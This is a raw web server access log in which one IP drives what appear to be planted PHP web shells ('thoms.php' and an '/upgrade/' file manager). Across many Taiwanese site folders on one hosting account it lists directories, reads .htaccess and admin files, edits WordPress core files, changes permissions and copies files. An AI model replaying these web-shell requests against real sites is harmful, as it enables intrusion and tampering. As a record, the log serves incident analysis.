45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7903 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 6620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9246 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 200 6631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 200 6630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 47487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2F HTTP/1.1" 200 9286 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:38 -0400] "GET /booking-wise2.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 6600 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 6799 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 33742 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /booking-wise2.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw%2Fupgrade%2F HTTP/1.1" 200 46768 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19532 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19773 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22911 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:39 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config-sample.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11378 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11392 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11410 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22900 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?edit=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 14581 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:41 -0400] "GET /thoms.php?edit=wp-activate.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 18184 "http://163.245.207.76:443/thoms.php?edit=wp-activate.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?edit=wp-cron.php&p=booking-wise2.com.tw HTTP/1.1" 200 13939 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 17535 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /booking-wise2.com.tw/data-unused/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22940 "https://163.245.207.76:443/thoms.php?chmod=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?chmod=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22922 "https://163.245.207.76:443/thoms.php?chmod=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22909 "https://163.245.207.76:443/thoms.php?dl=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22919 "https://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fadmin.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fadmin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
